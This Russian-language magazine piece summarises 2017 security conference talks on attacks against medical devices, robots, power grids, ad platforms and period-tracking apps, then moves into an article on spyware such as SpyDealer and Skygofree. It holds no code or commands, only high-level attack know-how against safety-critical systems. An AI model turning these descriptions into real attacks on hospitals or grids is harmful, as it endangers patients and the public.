ся  в  каж дой  кли нике  и  неп лохо  помога ет  мед персо налу  уско рить  докумен‐ 
тообо рот  (впро чем,  чинов ники  не  дрем лют  и  не  забыва ют  под кинуть  док‐ 
торам  такой  бюрок ратии,  с  которой  никакая  ней росеть  не  спра вит ся).
Как  ока зыва ется,  под клю чен ное  к  сети  обо рудо вание  содер жит  мно жес тво
уяз вимос тей  (и  прог рам мных,  и  аппа рат ных),  которые  откры вают
перед потен циаль ным зло умыш ленни ком широкое поле деятель нос ти. В док‐ 
ладе спи кер делит ся лич ным опы том про веде ния пен тестов для медицин ской
киберин фраструк туры и рас ска зыва ет, как зло умыш ленни ки ком про мети руют
медицин ское обо рудо вание.

В сво ем док ладе автор опи сыва ет, как зло умыш ленни ки:
экс плу ати руют проп риетар ные ком муника цион ные про токо лы;•
отыс кива ют уяз вимос ти в сетевых сер висах;•
ком про мети руют сис темы жиз необес печения;•
экс плу ати руют  аппа рат ные  отла доч ные  интерфей сы  и  сис темную  шину
переда чи дан ных;

•

ата куют  основные  бес про вод ные  интерфей сы  и  спе цифич ные  проп‐ 
риетар ные бес про вод ные тех нологии;

•

про ника ют  в медицин ские  информа цион ные  сис темы  и  затем  счи тыва ют
и редак тиру ют пер сональ ную информа цию о здо ровье паци ента и слу жеб‐ 
ные  вра чеб ные  записи,  содер жание  которых  в  нор ме  даже  от  паци ента
скры то;

•

на руша ют  ком муника цион ную  сис тему,  которую  медицин ское  обо рудо‐ 
вание исполь зует для обме на информа цией и слу жеб ными коман дами;

•

ог раничи вают мед персо налу дос туп к обо рудо ванию или вооб ще бло киру‐ 
ют его.

•

Во  вре мя  сво их  пен тестов  док ладчик  обна ружил  у  медицин ско го  обо рудо‐ 
вания мно жес тво проб лем. Сре ди них:

сла бая крип тогра фия;•
воз можность манипу лиро вания дан ными;•
воз можность уда лен ной под мены обо рудо вания;•
уяз вимос ти в проп риетар ных про токо лах;•
воз можность неав торизо ван ного дос тупа к базам дан ных;•
жес тко  зап рограм мирован ные  неиз меня емые  логины/пароли,  а  так же
дру гая  чувс тви тель ная  информа ция,  хра няща яся  либо  в  про шив ке  обо‐ 
рудо вания, либо в сис темных бинар никах;

•

вос при имчи вость медицин ско го обо рудо вания к уда лен ным DoS‐ата кам.•

Пос ле зна комс тва с док ладом ста новит ся оче вид ным, что кибер безопас ность
медицин ско го  сек тора  сегод ня  пред став ляет  собой  кли ничес кий  слу чай
и нуж дает ся в интенсив ной терапии.

ЗУБАСТЫЙ ЭКСПЛОИТ НА ОСТРИЕ ШАМПУРА КОНТЕКСТНОЙ
РЕКЛАМЫ
Tyler Cook. False Advertising: How Modern Ad Platforms Can Be Used for Targeted
Ex‐ploitation // ToorCon. 2017

Ежед невно  мил лионы  людей  заходят  в  соц сети:  по  работе,  для  раз вле‐ 
чений или прос то так. Под капотом соц сетей пря чут ся невиди мые для обыч‐ 
ного  посети теля  Ads‐плат формы,  ответс твен ные  за  то,  что бы  дос тавлять
поль зовате лям  релеван тную  кон текс тную  рек ламу.  Ads‐плат формы  лег ки
в обра щении и очень эффектив ны, бла года ря чему вос тре бова ны сре ди рек‐ 
ламода телей.

Ads‐плат формы дают воз можность не  толь ко выходить на широкую ауди‐ 
торию  (что  очень  выгод но  для  биз неса),  но  и  сужать  при цел  тар гетин га —
вплоть  . Более того, фун кци ональ ность
сов ремен ных Ads‐плат форм даже поз воля ет выбирать, на каком из мно гочис‐ 
ленных гад жетов это го кон крет ного челове ка показы вать рек ламу.

до одно го кон крет ного челове ка

Та ким обра зом, сов ремен ные Ads‐плат формы поз воля ют рек ламода телю
добирать ся до любого челове ка в любой точ ке мира. Но эта воз можность так‐ 
же  может  быть  исполь зована  и  зло умыш ленни ками —  в  качес тве  вход ного
шлю за  в  сеть,  в  которой  работа ет  их  пред полага емая  жер тва.  Док ладчик
демонс три рует,  как  зло наме рен ный  рек ламода тель  может  вос поль зовать ся
Ads‐плат формой,  что бы с высокой  точ ностью нацели вать свою фишин говую
кам панию,  раз верну тую  для  дос тавки  пер сонали зиро ван ного  экс пло ита
одно му кон крет ному челове ку.

КАК НАСТОЯЩИЕ ХАКЕРЫ УВОРАЧИВАЮТСЯ ОТ
ТАРГЕТИРОВАННОЙ РЕКЛАМЫ
Weston Hecker. Opt Out or Deauth Trying  !‐ Anti‐Tracking Bots Radios and Key‐
stroke In‐jection // DEF CON. 2017

Се год ня мы исполь зуем в сво ей жиз ни мно го компь юте ризи рован ных сер‐ 
висов и нас толь ко на это под сажива емся, что уже не в силах от них отка зать‐ 
ся, — имен но  поэто му  скан далы  с  сер висами,  ведущи ми  тоталь ную  слеж ку,
закан чива ются  прак тичес ки  ничем:  поль зовате ли  пожима ют  пле чами  («ну
хотя  бы  из‐за  рубежа  сле дят,  бур жуи  на  бутыл ку  не  посадят,  руки  корот ки»,
«ну хотя бы наши сле дят, а не аме рикан ские шпи оны какие‐нибудь») и… про‐ 
дол жают ими поль зовать ся.

Док ладчик  доход чиво  объ ясня ет,  как  имен но  сов ремен ные  мар кетоло ги
исполь зуют широкое раз нооб разие спо собов тар гетин га. Мы 
про мобиль ную паранойю и  тоталь ную слеж ку. Из пред став ленно го док лада
вид но,  что  сов ремен ные мар кетоло ги  уже сей час  вов сю исполь зуют подоб‐ 
ные тех нологии для сле жения за нами. Что же с этим делать? Если у нас нет
воз можнос ти  отка зать ся  от  этих  излишне  наб людатель ных  сер висов,  то
почему бы не попытать ся хотя бы забом бить их бес полез ной информа цией?

пи сали недав но

В  док ладе  про демонс три рован  автор ский  девайс  (прог рам мно‐аппа рат‐ 
ный бот), который поз воля ет:

де лать инъ екции Bluetooth‐маяч ков;•
за шум лять дан ные, соб ранные с бор товых сен соров авто моби ля;•
фаль сифици ровать иден тифика цион ные парамет ры мобиль ника;•
за шум лять манеру нажатий (на кла виату ре, мыши и сен соре).•

Вся  эта  информа ция,  как  извес тно,  исполь зует ся  для  тар гетин га  рек ламы
на мобиль ных гад жетах.

На  демонс тра ции  вид но,  как  пос ле  запус ка  автор ско го  девай са  сис тема
сле жения  схо дит  с  ума,  собира емая  ею  информа ция  ста новит ся  нас толь ко
зашум ленной  и  неточ ной,  что  от  нее  нашим  наб людате лям  уже  не  будет
никако го тол ку. В качес тве доб рой шут ки док ладчик демонс три рует, как бла‐ 
года ря  пред став ленно му  девай су  «сис тема  сле жения»  начина ет  при‐ 
нимать  32‐лет него  хакера  за  12‐лет нюю  девоч ку,  которая  безум но  любит
лошадей.

ДВАДЦАТЬ ЛЕТ ВЗЛОМУ MMORPG: ГРАФИКА КРУЧЕ, ЭКСПЛОИТЫ
ТЕ ЖЕ
Twenty Years of MMORPG Hacking: Better Graphics, Same Exploits // DEF CON.
2017

Те ма взло ма MMORPG обсужда ется на DEF CON уже на про тяже нии двад‐ 
цати  лет.  Отда вая  дань  юби лею,  док ладчик  опи сыва ет  наибо лее  зна ковые
момен ты  из  этих  обсужде ний.  Кро ме  того,  он  рас ска зыва ет  о  сво их  прик‐ 
лючени ях на ниве бра конь ерс тва в онлайн‐игрушках начиная с Ultima Online
(в 1997‐м) и далее — в Dark Age of Camelot, Anarchy Online, Asheron’s Call 2,
Shadowbane, Lineage II, Final Fantasy XI/XIV, World of Warcraft. В том чис ле нес‐ 
коль ко  све жих  пред ста вите лей:  Guild  Wars  2  и  Elder  Scrolls  Online.  И  это
далеко не весь пос лужной спи сок док ладчи ка!

В  док ладе  при веде ны  тех ничес кие  под робнос ти  соз дания  экс пло итов
для  MMORPG,  которые  помога ют  раз жить ся  вир туаль ными  день гами.  Док‐ 
ладчик вкрат це рас ска зыва ет о веч ном про тивос тоянии меж ду бра конь ера ми
(изго тови теля ми  экс пло итов)  и  «рыб надзо ром»  и  о  нынеш нем  тех ничес ком
сос тоянии этой гон ки воору жений.

Ав тор  объ ясня ет  методи ку  деталь ного  ана лиза  пакетов  и  рас ска зыва ет,
как  нас тра ивать  экс пло иты,  что бы  на  сто роне  сер вера  факт  бра конь ерс тва
обна ружен не был. В том чис ле он пре зен тует све жай ший экс пло ит, который
на момент док лада имел пре иму щес тво перед «рыб надзо ром» в гон ке воору‐ 
жений.

ХАКНЕМ РОБОТОВ, ПОКА СКАЙНЕТ НЕ ПРИШЕЛ
Lucas Apa. Hacking Robots before Skynet // ROOTCON. 2017

Ро боты  нын че  на  слу ху.  В  бли жай шем  будущем  они  ока жут ся  пов сюду:
на воен ных мис сиях, в хирур гичес ких опе раци онных, на стро итель стве небос‐ 
кре бов, будут помощ никами покупа телей в магази нах, обслу жива ющим пер‐ 
соналом  боль ницы,  биз нес‐ассистен тами,  сек суаль ными  пар тне рами,
домаш ними кулина рами и пол ноправ ными чле нами семьи.

От редак ции: кри тика робото хай па
Вот  уже  пол года  как  в  информа цион ном  прос транс тве  воз никло  стран ное,
ска жем  так,  воз бужде ние  по  поводу  ско рой  победы  робота  над  челове ком
разум ным.  Основные  идеи  сле дующие:  гря дут  роботы,  роботы  укра дут
рабочие мес та,  вмес то  так систов будет  авто пилот,  вмес то  перевод чиков —
Google  Translate,  вмес то  баянис та,  тамады  и  мас совика‐затей ника  —  мно‐ 
гофун кци ональ ный  раз вле катель ный  центр  (с  блю рэй‐про игры вате лем)
на  колеси ках.  Да,  диаг нозы  в  боль ницах  будет  ста вить  IBM  Watson,  а  опе‐ 
риро вать, видимо, робот Да Вин чи… который, прав да, вооб ще не робот в том
смыс ле, что при нимать решения самос тоятель но он не может и пред став ляет
собой  тех ничес ки  слож ный  модуль  телеп рисутс твия  —  опе риру ет  человек,
который сидит в отдель ной кабин ке с манипу лято рами.

Что же мы име ем в реаль нос ти?
Ро бот‐офи циант?  Нет  тех ничес ких  пре пятс твий  для  его  реали зации.

Более того, подоб ный рес торан есть в Бан гко ке, и называ ется он Hajime Ro‐
bot.  Рас простра нились  ли  роботи зиро ван ные  рес тораны  по  пла нете?
Как видишь, нет.

А что на про изводс тве?
На высоко тех нологич ных заводах — стан ки с ЧПУ (очень дорогос тоящие)

и  про мыш ленные  роботы,  которые  уже  нес коль ко  десят ков  лет  работа ют
на заводах, собира ют машины, режут метал лы и  .сги бают твер дые прутья

На  тра дици онных  про изводс твах  —  стан ки  из  прош лого  века  (очень
дешевые)  и  тра дици онные  низ кооп лачива емые  миг ранты,  которые  дела ют
все то же самое, получая на выходе канали заци онные тру бы, батареи отоп‐ 
ления и бетон ные бло ки.

Ав топилот? В про цес се раз работ ки, и неиз вес тно, сколь ко вре мени прой‐ 
дет до того момен та, ког да машинам с авто пило том раз решат самос тоятель‐ 
но работать так систа ми.

Пе ревод чик? Поп робуй Google Translate, Bing, Yandex и убе дись лич но —
ней росети, биг‐дата, машин‐лер нинг и даже эджайл дают резуль тат, не силь‐ 
но отли чающий ся от того, который давали перевод чики кон ца девянос тых —
начала двух тысяч ных (да, тог да они тоже были, прос то сто или, хе‐хе, денег).
Вес ти деловые перего воры через авто пере вод чик мы не смо жем еще дол го.

Ро боты,  которые  ста вят  диаг нозы?  Да  не  ста вят  они  диаг нозы,  дорогой
читатель. Они все го лишь помога ют при нять решение бла года ря ней росетям
и дос тупу к той самой биг‐дате, поз воляя, в час тнос ти, подоб рать наилуч шую
схе му  хими оте рапии.  Но  под бор  хими оте рапии  сто  раз  обсле дован ному
паци енту — это одно, а осмотр паци ента, который почувс тво вал боль в гру ди,
быс тро  погуг лил,  переме шал  свои  лич ные  жалобы  с  сим пто мами  инфар кта
миокар да из интерне тов, запутал ся и выз вал под это дело уком плек тован ную
нечело веко подоб ными робота ми  ско рую, — сов сем дру гое дело.  Кто будет
раз бирать ся в этом наг ромож дении лич ных ощу щений, додуман ных сим пто‐ 
мов и самов нушен ных жалоб? Кибер диаг ност с помощью «Отметь те харак тер
боли,  ирра диацию,  дли тель ность»?  Нет,  он  не  раз берет ся.  Как  не  зашь ет
рану, не вырежет аппендикс, не выгонит алка ша из при емно го отде ления.

С дру гой сто роны,  тех ника с каж дым годом все боль ше и боль ше вытес‐ 
няет  челове ка  из  тяжело го  и/или  нек валифи циро ван ного  тру да. Но  об  этом
уже  задумы вают ся  государс тва,  которым  ока залось  невыгод но  пол ностью
переда вать низ коква лифи циро ван ный труд роботам — сидящие на пособии
тру дяги в свое сво бод ное вре мя занима ются отнюдь не само обра зова нием
и  изу чени ем  треть его  инос тран ного  язы ка,  не  ваяют  ста туи  и  не  сочиня ют
поэмы, а соз дают допол нитель ную наг рузку на пра воох ранитель ные орга ны.
А  кто  у  нас  будет  ловить  жуликов  в  бли жай шую  пятилет ку?  РобоШер локи?
К  сожале нию,  ловить  и  рас сле довать  они  не  смо гут  еще  дол го.  Раз ве  что

.расс тре ливать наруши телей

По  мере  того  как  эко сис тема  роботов  рас ширя ется  и  вли яние  роботов
в нашем соци уме и эко номи ке стре митель но рас тет, они начина ют пред став‐ 
лять собой зна читель ную угро зу для людей, живот ных и пред при ятий. По сути
сво ей  роботы —  это  компь юте ры  с  руками,  ногами  и  колеса ми.  А  при  сов‐ 
ремен ных  реалиях  кибер безопас ности  —  это  уяз вимые  компь юте ры
с руками, ногами и колеса ми.

Прог рам мные и аппа рат ные уяз вимос ти сов ремен ных роботов поз воля ют
зло умыш ленни ку  задей ство вать  физичес кие  воз можнос ти  робота,  что бы
нанес ти  иму щес твен ный  или  финан совый  ущерб  или  даже  слу чай но
или намерен но соз дать угро зу челове чес кой жиз ни.

В  сво их  недав них  иссле дова ниях  док ладчик  обна ружил  мно жес тво  кри‐ 
тичес ких уяз вимос тей в домаш них, кор поратив ных и про мыш ленных роботах
извес тных  про изво дите лей.  В  док ладе  он  рас кры вает  тех ничес кие  детали
акту аль ных  угроз  и  объ ясня ет,  как  имен но  зло умыш ленни ки  могут  ком про‐ 
мети ровать  раз личные  ком понен ты  эко сис темы  роботов.  Разуме ется,
с демонс тра цией дей ству ющих экс пло итов.

Сре ди обна ружен ных док ладчи ком проб лем в эко сис теме роботов:
не безо пас ные ком муника ции;•
воз можность пов режде ния памяти;•
уяз вимос ти,  поз воля ющие  осу щест влять  уда лен ное  выпол нение  кода
(RCE);

•

воз можность наруше ния целос тнос ти фай ловой сис темы;•
проб лемы  с  авто риза цией,  а  в  некото рых  слу чаях  вооб ще  отсутс твие
таковой;

•

сла бая крип тогра фия;•
проб лемы с обновле нием про шив ки;•
проб лемы с обес печени ем кон фиден циаль нос ти;•
не доку мен тирован ные воз можнос ти (так же уяз вимые для RCE и про чего);•
сла бая кон фигура ция по умол чанию;•
уяз вимые  open  source  «фрей мвор ки  для  управле ния  робота ми»  и  прог‐ 
рам мные биб лиоте ки.

•

Док ладчик при водит живые демонс тра ции раз нооб разных сце нари ев взло ма,
свя зан ных с кибер шпи она жем, инсай дер ской угро зой, иму щес твен ным ущер‐ 
бом  и  так  далее.  Опи сывая  реалис тичные  сце нарии,  которые  мож но  наб‐ 
людать  в  дикой при роде,  док ладчик рас ска зыва ет,  как  небезо пас ность  сов‐ 
ремен ной тех нологии роботов может при вес ти к взло му. Объ ясня ет, почему
взло ман ные  роботы  даже  более  опас ны,  чем  какие‐либо  дру гие  ском про‐ 
мети рован ные тех нологии.

Так же док ладчик обра щает на вни мание на то, что сырые иссле дова тель‐ 
ские про екты ухо дят в про изводс тво рань ше, чем решены воп росы безопас‐ 
ности.  Мар кетинг,  как  всег да,  выиг рыва ет.  Нуж но  сроч но  исправ лять  такое
нез доровое положе ние вещей. Пока Скай нет не при шел. Хотя… Сле дующий
док лад натал кива ет на мысль, что Скай нет уже все‐таки тут.

МАШИННОЕ ОБУЧЕНИЕ НА СЛУЖБЕ БЛЕКХЕТОВ
Dan Petro, Ben Morris. Weaponizing Machine Learning: Humanity Was Overrated
Anyway // DEF CON. 2017

Рис куя прос лыть сумас брод ным уче ным, док ладчик все же уми ляет ся сво‐ 
им  «новень ким  дьяволь ским  тво рени ем»,  с  гор достью  пред став ляя  Deep‐
Hack  —  хакер ский  ИИ  с  откры тым  исходным  кодом.  Этот  бот  —  само обу‐ 
чающий ся  взлом щик  веб‐при ложе ний.  В  его  осно ве  лежит  ней рон ная  сеть,
которая  обу чает ся  методом  «проб  и  оши бок».  При  этом  к  воз можным
для  челове ка пос ледс тви ям от этих сво их  «проб и оши бок» DeepHack отно‐ 
сит ся с устра шающей пре неб режитель ностью.

Ис поль зуя все го один уни вер саль ный алго ритм, он обу чает ся экс плу ати‐ 
ровать раз нооб разные виды уяз вимос тей. DeepHack откры вает дверь в царс‐ 
тво  хакер ско го  ИИ,  мно гочис ленных  пред ста вите лей  которо го  уже  мож но
ожи дать в бли жай шем будущем. В свя зи с этим док ладчик гор до име нует сво‐ 
его бота «началом кон ца».

Док ладчик счи тает, что хакер ские ути литы на осно ве ИИ, которые вско ре
появят ся  вслед  за  DeepHack,  —  это  прин ципи аль но  новая  тех нология,
которую кибер защит никам и кибер напада ющим еще толь ко пред сто ит взять
на воору жение. Док ладчик гаран тиру ет, что в сле дующем году каж дый из нас
будет либо сам писать хакер ские ути литы с машин ным обу чени ем, либо отча‐ 
янно пытать ся защитить ся от них. Треть его не дано.

Так же, то ли в шут ку, то ли всерь ез, док ладчик заяв ляет: «Боль ше не явля‐ 
ющаяся  пре рога тивой  дьяволь ских  гени ев,  неиз бежная  анти уто пия  ИИ  уже
дос тупна  каж дому  сегод ня.  Поэто му  при соеди няй ся  к  нам,  и  мы  покажем,
как  ты  можешь  поучас тво вать  в  унич тожении  челове чес тва,  соз дав  свою
собс твен ную  милита ризо ван ную  сис тему  машин ного  обу чения.  Конеч но,
если гос ти из будуще го не помеша ют нам сде лать это».

ВСПОМНИТЬ ВСЕ: ИМПЛАНТАЦИЯ ПАРОЛЕЙ В КОГНИТИВНУЮ
ПАМЯТЬ
Tess Schrodinger. Total Recall:  Implanting Passwords in Cognitive Memory // DEF
CON. 2017

Что такое ког нитив ная память? Как туда мож но «имплан тировать» пароль?
Это  безопас но?  И  зачем  вооб ще  такие  ухищ рения?  Идея  в  том,  что
при исполь зовании опи сан ного под хода ты не смо жешь про бол тать ся о сво их
паролях даже под при нуж дени ем, сох раняя при этом воз можность авто риза‐ 
ции в сис теме.

Ам бици озное  заяв ление,  вынесен ное  в  заголо вок  сво ей  пре зен тации,
док ладчи ца, конеч но, до пол ного решения не довела, но при этом рас ска зала
о  нес коль ких  любопыт ных  иссле дова ниях,  которые  находят ся  на  под сту пах
к решению пос тавлен ной задачи, в час тнос ти иссле дова ниях Стэн форд ско го
уни вер ситета,  пос вящен ных  этой  теме,  и  про екте  по  раз работ ке  челове‐ 
ко‐машин ного  интерфей са  для  сла бови дящих  людей —  с  пря мым  под клю‐ 
чени ем к моз гу. Так же автор док лада ссы лает ся на иссле дова ние гер ман ских
уче ных, которым уда лось про вес ти алго рит мичес кую связь меж ду элек три чес‐ 
кими  сиг налами моз га  и  сло вес ными фра зами;  раз работан ное  ими  устрой‐ 
ство поз воля ет  набирать  текст,  прос то думая о  нем. Еще одно  любопыт ное
иссле дова ние, о котором говорит док ладчи ца, — ней ротеле фон, интерфейс
меж ду  моз гом  и  мобиль ным  телефо ном  пос редс твом  бес про вод ной
ЭЭГ‐гар нитуры (Дар тмутский кол ледж, США).

КИБЕРАТАКИ НА ЭНЕРГОСЕТИ — НЕ ТОЛЬКО ДЛЯ
ПРАВИТЕЛЬСТВЕННЫХ ХАКЕРОВ
Anastasis Keliris. And then the Script‐Kiddie Said Let There Be No Light. Are Cyber‐
Attacks On the Power Grid Limited To Nation‐State Actors? // BlackHat. 2017

О роли бес перебой ного элек трос набже ния в нашей жиз ни мы не задумы‐ 
ваем ся до пер вого блэ каута. Ког да мы были малень кими, перебои с элек три‐ 
чес твом слу чались час то, наши родите ли ходили по дому с заж женны ми свеч‐ 
ками и иска ли источник проб лемы, и это было даже весело… Но ког да подоб‐ 
ное про исхо дит в пре делах квар тала или даже города — вот тог да взрос лому
челове ку ста новит ся по‐нас тояще му страш но.

Элек три чес тво  —  ресурс  стра теги чес ки  важ ный,  и  счи тает ся,  что  ата ки
на  энер госети  чрез вычай но  слож ны  и  дос тупны  толь ко  для  пра витель ствен‐ 
ных хакеров. Док ладчик оспа рива ет это усто явше еся мне ние и пред став ляет
деталь ное  опи сание  ата ки  на  энер госети,  зат раты  на  про веде ние  которой
при емле мы даже для  хакеров,  не име ющих  за пле чами ресур сы спец служб.
Он  демонс три рует  соб ранную  из  интерне та  информа цию,  которая  будет
полез на  при  модели рова нии  и  ана лизе  целевой  энер госети.  И  объ ясня ет,
как эту информа цию мож но исполь зовать — для модели рова ния атак на элек‐ 
тро сети по все му миру.

Так же в док ладе демонс три рует ся кри тичес кая уяз вимость, обна ружен ная
док ладчи ком  в  про дук тах  General  Electric Multilin,  которые широко  при меня‐ 
ются  в  энер гетике.  Док ладчик  опи сыва ет,  как  он  пол ностью  ском про мети‐ 
ровал  исполь зуемый  в  этих  сис темах  алго ритм шиф рования. Этот  алго ритм
при меня ется в про дук тах General Electric Multilin для защищен ной ком муника‐ 
ции внут ренних под систем и для управле ния эти ми под систе мами. В том чис‐ 
ле для авто риза ции поль зовате лей и обес печения дос тупа к при виле гиро ван‐ 
ным опе раци ям.

Уз нав  коды  дос тупа  (в  резуль тате  ком про мета ции  алго рит ма  шиф‐ 
рования),  зло умыш ленник  может  пол ностью  вырубить  устрой ство  и  вык‐ 
лючить  элек три чес тво  в  задан ных  сек торах  энер госети,  заб локиро вать  опе‐ 
рато ров. Кро ме того, док ладчик демонс три рует тех нику уда лен ного счи тыва‐ 
ния циф ровых сле дов, которые оставля ет уяз вимое для кибера таки обо рудо‐ 
вание.

ИНТЕРНЕТ ПРОТИВ ЖЕНЩИН
Cooper Quintin. The Internet Already Knows I’m Pregnant // DEF CON. 2017

Не кото рые аспекты жен ско го здо ровья, как ока зыва ется, не толь ко повод
для скан дала с муж чинами, но и биз нес. На рын ке сущес тву ет огромное мно‐ 
жес тво Android‐при ложе ний, которые помога ют жен щинам отсле живать еже‐ 
месяч ный  цикл,  знать,  ког да  наиболь шая  веро ятность  зачатия,  или  кон тро‐ 
лиру ют  сос тояние  беремен ности.  Эти  при ложе ния  побуж дают  жен щин фик‐ 
сировать  самые  интимные  детали  сво ей  жиз ни,  такие  как  нас тро ение,  сек‐ 
суаль ная  активность,  физичес кая  активность,  физичес кие  сим пто мы,  рост,
вес и мно гое дру гое.

Но нас коль ко эти при ложе ния кон фиден циаль ны и нас коль ко они безопас‐ 
ны? Ведь если при ложе ние хра нит такие интимные под робнос ти о нашей лич‐ 
ной  жиз ни,  было  бы  неп лохо,  что бы  оно  не  делилось  эти ми  дан ными
с кем‐либо еще, нап ример с дру жес твен ной ком пани ей (занима ющей ся тар‐ 
гетиро ван ной рек ламой) или со зло наме рен ным пар тне ром/родите лем.

Док ладчик  пред став ляет  резуль таты  сво его  ана лиза  кибер безопас ности
более  десят ка  при ложе ний,  прог нозиру ющих  веро ятность  зачатия  и  отсле‐ 
жива ющих течение беремен ности. Он обна ружил, что в боль шинс тве подоб‐ 
ных  при ложе ний  есть  серь езные  проб лемы  с  кибер безопас ностью  вооб ще
и кон фиден циаль ностью в час тнос ти.

Говорит и показы вает Денис Мак рушин
Не в силах остать ся в сто роне от такой темы, наш зав сегда тай ИБ‐кон ферен‐ 
ций  (как  в  качес тве  слу шате ля,  так  и  в  роли  док ладчи ка) 
пред став ляет еще нес коль ко кру тых док ладов на свой вкус. Вот они:

Де нис  Мак рушин

• Ре лиз модуля эксфиль тра ции дан ных для Metasploit на ZeroNights 2017
• Ин терес ный  ресерч  о  воз дей ствии  зву ка  на  HDD,  опуб ликован ный
на ekoparty

• Ин терес ный ресерч, свя зан ный с безопас ностью авто моби лей, на кон фе
SHA 2017

• Внед рение мал вари в ДНК
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ВЗЛОМ

В  каж дую  эпо ху  были  свои  ска зания  о  рыцарях  и  дра конах,
геро ях и зло деях. Сегод ня их мес то заняли хакеры в белом
и  чер ном.  О  них  сла гают  леген ды,  им  пос вяща ют  кни ги
и называ ют новыми влас тителя ми тех ноген ного мира. Давай
вмес те  раз берем ся,  какие  из  стра хов  перед  хакера ми
оправдан ны, а для каких пока нет под твержде ний.

ПОДГЛЯДЫВАНИЕ ЧЕРЕЗ КАМЕРЫ И ПУБЛИКАЦИЯ ИНТИМНЫХ
ФОТОГРАФИЙ
По жалуй,  ни  один  сов ремен ный  фильм  не  обхо дит ся  без  эпи зода  взло ма
камер  наб людения.  Кажет ся,  что  это  занима ет  секун ды  и  поз воля ет  иметь
гла за пов сюду. Мы уже писали    о  том,  как  в дей стви тель‐ 
нос ти  перех ватыва ют  дос туп  к  веб‐  и  IP‐камерам.  Если  крат ко,  то  это  две
совер шенно раз ные тех ничес кие задачи. Скла дыва ется впе чат ление, что сей‐ 
час ста новит ся все популяр нее дру гое нап равле ние — взла мывать смар тфо‐ 
ны,  что бы  жер тву  фотог рафиро вать  и  записы вать  на  видео,  осо бен но
в интимные момен ты жиз ни.

под робную статью

В  прош лом  году  спе циалис ты  Palo  Alto  Networks  обна ружи ли  тро ян  Spy‐
Dealer,  который  (в  добавок  к  стан дар тно му  набору  фун кций)  сни мает  сво их
жертв, исполь зуя обе камеры смар тфо на, а заод но дела ет скрин шоты. Такие
злов реды обыч но  отно сят  к  инс тру мен там для  прод винутых  целенап равлен‐ 
ных атак (APT). Поэто му шанс заразить ся им у звез ды телешоу очень высокий,
а  у  какого‐нибудь  Васи  из  Ниж него  Гадюки но —  минималь ный.  Ско рее  он
ста нет жер твой «пугача».

Есть  целый  класс  угроз  под  наз вани ем  .  Они  берут  на  испуг,
час то не пред став ляя реаль ной опас ности. Нап ример, вот такое 

 зас тавило преж девре мен но… поседеть мно гих пар ней из Авс тра‐ 
лии.  В  нем  утвер жда лось,  что  жер тву  зас няли  встро енной  веб‐камерой
во вре мя прос мотра сай тов для взрос лых. Если в течение суток вымога телю
не перечис лить энную сум му в бит кой нах, то всем кон тактам из его адресной
кни ги будет отправ лено занят ное видео. Конеч но, никако го под гля дыва юще‐ 
го тро яна не было, но если мы счи таем что‐то реаль ным, то оно ста новит ся
реаль ным по сво им пос ледс тви ям. Осо бо впе чат литель ные отпра вили выкуп.

scareware
за меча тель‐ 

ное пись мо

Утеч ки  при ват ных  фото  непос редс твен но  со  смар тфо нов  и  из  облачных
хра нилищ про исхо дят нас толь ко регуляр но,  что им пос вящены спе циаль ные
раз делы на пор талах с «клуб ничкой». Одна ко целенап равлен ные ата ки в этих
слу чаях ско рее исклю чение, чем пра вило.

В  слу чае  извес тных  людей  всег да  есть  подоз рение  о  кон тро лиру емой
утеч ке  как  пиар‐акции.  Нап ример,  бра зиль ская  модель  Жизель  Бюн дхен
на    выг лядит  откро вен но  позиру ющей,  да  и
сам стиль этих кад ров мало отли чает ся от ее при выч ных фотосес сий. Такие
«сек ретные» сним ки — хороший спо соб подог реть инте рес пуб лики к сво ей
пер соне.

«сли тых  хакера ми» фотог рафи ях

Од нако  быва ют  и  сли вы,  очень  похожие  на  нас тоящие.  К  при меру, 
 — это имен но любитель ские кад ры, где актри‐ 

са час то пред став лена не в луч шем амплуа. Подоб ные сним ки мог ли сде лать
ее (быв ший) парень или (завис тли вая) под руга, что бы затем исполь зовать их
в качес тве пор номес ти. Так или ина че, пикан тные сним ки прев ратили Аман ду
в одну из самых обсужда емых актрис в прош лом  году,  и  тут инте ресен ито‐ 
говый резуль тат.

ин‐ 
тимные фото Аман ды Сай фред

Ес ли рань ше подоб ное счи талось нес мыва емым позором и кон цом карь‐ 
еры (в монас тырь или в пет лю), то сегод ня это дает хайп на корот кое вре мя
и  быс тро  смы вает ся  вол ной  дру гих  скан даль ных  событий.  Уже  через
неделю‐две всем будет без различ но, кто там мель кнул в кад ре голым задом.

КРАЖА ДАННЫХ С МОБИЛЬНЫХ ДЕВАЙСОВ
Ин терес но  прос ледить  за  тем,  как  раз вивались  угро зы  для  смар тфо нов
и  план шетов.  Понача лу  мы  встре чали  доволь но  при митив ные  злов реды
для гад жетов, дей ство вав шие ана логич но сво им дес ктоп ным соб рать ям: они
ворова ли пароли, показы вали навяз чивую рек ламу, бло киро вали  устрой ства
и вымога ли день ги.

Од нако вско ре смар тфо ны породи ли новые век торы атак: вирус ные под‐ 
писки  на  плат ные  услу ги,  доз вон  и  рас сылку  SMS  на  корот кие  номера  и,
наконец, под гля дыва ние через камеры с пос леду ющим шан тажом. Впро чем,
это все тоже были цве точ ки.

Сей час  мобиль ные  устрой ства  ста ли  для  хакеров  при ори тет ной  целью,
пос коль ку их память содер жит уйму кон фиден циаль ных дан ных о самой жер‐ 
тве и  ее окру жении. Появ ляют ся  тро яны столь  высоко го  уров ня,  что их раз‐ 
работ ка явно велась по заказу спец служб.

Нап ример,  ряд  очень  харак терных  фун кций  есть  у  злов реда  ,
заража юще го  мобиль ники  с  ОС  Android.  В  час тнос ти,  он  отправ ляет  копии
перепис ки  в  соц сетях,  кон тро лиру ет переме щения смар тфо нов и авто мати‐ 
чес ки вклю чает прос лушку, ког да их геог рафичес кие коор динаты соот ветс тву‐ 
ют  задан ным. Нап ример,  ког да  один  смар тфон  ока зал ся  в  ком нате  перего‐ 
воров или рядом со смар тфо ном дру гого собесед ника,  за  которым ведет ся
слеж ка.

Skygofree

Так же  Skygofree  при нуди тель но  вклю чает Wi‐Fi  и  самос тоятель но  выпол‐ 
няет  под клю чение  к  хот спо там  типа  «злой  двой ник»,  которые  кон тро лиру ет
ата кующая сто рона. Общее чис ло шпи онских фун кций у Skygofree сос тавля ет
поч ти пол сотни. Пред положи тель но за его соз дани ем сто ит италь янская фир‐ 
ма Negg International, раз рабаты вающая софт для NSA и GCHQ. Понят но, что
им слож но про тивос тоять, но «слож но» еще не озна чает «бес полез но».

ВСЕ МОГУТ КОРОЛИ?
Мно гие счи тают, что им нечего скры вать от все веду щих спец служб, а извес‐ 
